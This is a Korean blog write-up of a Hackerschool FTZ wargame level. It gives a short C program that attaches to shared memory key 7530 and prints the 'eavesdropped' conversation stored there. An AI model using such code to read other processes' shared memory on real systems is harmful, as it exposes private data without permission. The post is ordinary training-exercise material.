728x90
아마도 두 사람의 대화가 저 "공유메모리"에 있을 것이다. 그리고 저 메모리 번지에 접근하는 방법에
저 7530값이 필요 할 것이다. 해서 구글링을 하였더니 친절한 블로그가 있었다.
http://mintnlatte.tistory.com/27
위 블로그에 공유메모리에 대한 api설명이 잘 되어있다.
게으름뱅이여서 예외처리는 하지 않았다.
#include#include #include #include int main(void) { char buf[100]; // 도청한 대화를 저장할 문자열 변수 // 7530을 key로 하는 1024크기의 공유메모리 생성(IPC_CREAT 옵션) 이미 있을 경우 접근 권한 설정 (0660) // 성공시 공유메모리 식별 id를 리턴한다. unsigned long shmID = (unsigned long)shmget(7530, 1024, IPC_CREAT | 0660); // 식별 id에 해당하는 공유메모리를 attach할 나의 프로세스의 주소지정 // 성공시 attach된 공유메모리 주소 반환 unsigned long shmADDR = (unsigned long)shmat(shmID, NULL, 0); // shmADDR에서 100byte만큼을 buf에 저장 memcpy((void*)buf, (void*)shmADDR, 100); // buf 출력 printf("%s\n",buf); return 0; }
<공유메모리 원리>
compile하여 실행하면 끝
728x90
'ctf + wargame > 해커스쿨ftz' 카테고리의 다른 글
[ftz] level12 (0) | 2015.09.20 |
---|---|
[ftz] level11 (0) | 2015.09.20 |
[ftz] level9 (0) | 2015.09.18 |
[ftz] level8 (0) | 2015.09.18 |
[ftz] level7 (0) | 2015.09.17 |